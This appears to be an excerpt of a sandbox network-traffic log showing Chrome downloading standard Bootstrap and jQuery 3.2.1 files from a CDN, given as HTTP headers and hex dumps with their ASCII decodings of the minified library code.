2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2025-01-13 15:44:55 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	151.101.194.137	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:55 UTC	602	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:55 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2342996 Date: Mon, 13 Jan 2025 15:44:55 GMT X-Served-By: cache-lga21984-LGA, cache-nyc-kteb1890031-NYC X-Cache: HIT, HIT X-Cache-Hits: 903, 0 X-Timer: S1736783095.147443,VS0,VE1 Vary: Accept-Encoding
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
